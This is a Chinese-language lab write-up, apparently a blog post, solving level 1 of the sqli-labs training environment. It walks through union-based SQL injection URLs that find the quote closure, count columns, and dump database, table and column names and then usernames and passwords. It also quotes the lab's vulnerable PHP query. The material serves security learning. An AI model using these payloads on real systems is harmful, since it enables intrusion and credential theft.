sqllib闯关攻略_01

1.Less_01

1.1、寻找报错点,观察闭合方式

在网站上不断地进行奇怪字符串添加看是否产生报错显示,报错后,再添加注释符查看是否还会报错。

http://192.168.31.61:8081/sqli-labs-master/Less-1/?id=1
http://192.168.31.61:8081/sqli-labs-master/Less-1/?id=1’ 		【单引号】
http://192.168.31.61:8081/sqli-labs-master/Less-1/?id=1” 		【双引号】
http://192.168.31.61:8081/sqli-labs-master/Less-1/?id=1)		【单括号】
http://192.168.31.61:8081/sqli-labs-master/Less-1/?id=1')		【单引号+括号】
http://192.168.31.61:8081/sqli-labs-master/Less-1/?id=1")	【双引号+括号】
http://192.168.31.61:8081/sqli-labs-master/Less-1/?id=1'%23		【单引号+注释#/%23/--+】
http://192.168.31.61:8081/sqli-labs-master/Less-1/?id=1' and '1'='1		【and/or/||/&&+等式】

2.查找数据表字段数order by

通过上面我们可以知道语句为单引号闭合,因此,接下来我们可以通过order by -99查找数据表的字段数。

http://192.168.31.61:8081/sqli-labs-master/Less-1/?id=1' order by 4 %23

在这里插入图片描述

3.union注入,观察页面显示

通过上面的order by子句,因此我们可以试着使用union 注入,进行判断输入在页面的的显示情况,由图可知,页面在union select 1,2,3 中的2和3位置显示字段。

http://192.168.31.61:8081/sqli-labs-master/Less-1/?id=-1'  union select 1, 2, 3 %23

在这里插入图片描述

4.获取相关信息

4.1、infomation_schema.shemata获取数据库相关信息

通过上面的页面显示,我们可以知道当令id=-1时,页面上将会有两个显示字段,因此我们可以在输出数据库名字和用户名。

http://192.168.31.61:8081/sqli-labs-master/Less-1/?id=-1'  union select 1, database(), user()  %23

在这里插入图片描述
如下,我们通过schemata表获取所有数据库的payload。

192.168.31.61:8081/sqli-labs-master/Less-1/?id=-1' union select 1,group_concat(schema_name ),3 from information_schema.schemata%23

输出结果如下:
在这里插入图片描述
(0,0,0)

4.2、information_schema.tables获取表名

如下,我们通过tables获取指定数据库的所有表名,通过图片显示,我们可以知道,security数据库中一共含有四个表,分别是Your Login name:emails,referers,uagents,users

192.168.31.61:8081/sqli-labs-master/Less-1/?id=-1' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema="security"%23

在这里插入图片描述

4.3、information_schema.cloumns获取字段名(可以指定)

如下,为通过information_schema.cloumns获取security数据库中users表的字段名。由图可知,users表中有是三个字段,分别是:id, username, password

192.168.31.61:8081/sqli-labs-master/Less-1/?id=-1' union select 1,group_concat(column_name),3 from information_schema.columns where table_schema="security" and table_name="users"%23

在这里插入图片描述

4.4、获取对应字段的值

192.168.31.61:8081/sqli-labs-master/Less-1/?id=-1’ union select 1,group_concat(username),group_concat(password) from users where database()=“security”%23

输出如下图所示:可显示的两个字段分别输出username和password字段的值。
在这里插入图片描述

5、information_schema知识拓展

5.1、information_schema.schemata表中的字段信息

SELECT * FROM information_schema.schemata

在这里插入图片描述

5.2、information_schema.tables表中的字段信息

select * from information_schema.tables

在这里插入图片描述

5.3、information_schema.cloumns表中的字段信息

select * from information_schema.columns

在这里插入图片描述

5.4、group_concat()函数

参考链接:https://www.cnblogs.com/wang-yaz/p/10862627.html

5.4.1、 concat()函数

1、功能:将多个字符串连接成一个字符串。
2、语法:concat(str1, str2,…)  
返回结果为连接参数产生的字符串,如果有任何一个参数为null,则返回值为null。
3、语法:concat(str1, seperator,str2,seperator,…)
返回结果为连接参数产生的字符串并且有分隔符,如果有任何一个参数为null,则返回值为null。

5.4.2、 concat_ws()函数

1、功能:和concat()一样,将多个字符串连接成一个字符串,但是可以一次性指定分隔符(concat_ws就是concat with separator)
2、语法:concat_ws(separator, str1, str2, …)
说明:第一个参数指定分隔符。需要注意的是分隔符不能为null,如果为null,则返回结果为null。

5.4.3、group_concat()函数

1、功能:将group by产生的同一个分组中的值连接起来,返回一个字符串结果。
2、语法:group_concat( [distinct] 要连接的字段 [order by 排序字段 asc/desc ] [separator ‘分隔符’] )
说明:通过使用distinct可以排除重复值;如果希望对结果中的值进行排序,可以使用order by子句;separator是一个字符串值,缺省为一个逗号。

6、源码分析

在这里我贴上第一关的源码,上面的注释是第一次写的时候添加的,还请将就着看吧!

$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";//$sql为一个查询语句
$result=mysql_query($sql);//$result为查询语句返回的结果集。
$row = mysql_fetch_array($result);//$row为从结果集中返回的一个数组

	if($row)
	{
  	echo "<font size='5' color= '#99FF00'>";
  	echo 'Your Login name:'. $row['username'];//输出结果集中的username字段值
  	echo "<br>";
  	echo 'Your Password:' .$row['password'];//输出结果集中的password字段值
  	echo "</font>";
  	}
	else 
	{
	echo '<font color= "#FFFF00">';
	print_r(mysql_error());//返回上一个 MySQL 操作产生的文本错误信息。
	echo "</font>";  
	}
}
	else { echo "Please input the ID as parameter with numeric value";}

在这里我们构造的payload主要结构是:

SELECT * FROM users WHERE id = ’ 1’ ‘ LIMIT 0,1 【单引号,产生报错】
SELECT * FROM users WHERE id = ’ 1’ # ‘ LIMIT 0,1 【单引号+注释,不产生报错,可利用点】
SELECT * FROM users WHERE id=’ 1’ order by 4 # LIMIT 0,1 【找出字段值为3】
SELECT * FROM users WHERE id = ’ 1’ union select 1,2,3 # ‘ LIMIT 0,1 【利用union注入,发现页面在字段上的显示情况】
SELECT * FROM users WHERE id = ’ -1’ union select 1, database(), user() # ‘ LIMIT 0,1 【在页面输出数据库和用户的相关信息】
SELECT * FROM users WHERE id = ’ union select 1,group_concat(schema_name ),3 from information_schema.schemata # ‘ LIMIT 0,1 【获取所有数据库】
SELECT * FROM users WHERE id = ’ union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=“security” # ‘ LIMIT 0,1 【获取数据库security的所有表名】
SELECT * FROM users WHERE id = ’ union select 1,group_concat(column_name ),3 from information_schema.columns where table_schema=“security” and table_name=“users”# ‘ LIMIT 0,1 【获取数据库security中users表中的所有字段】

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值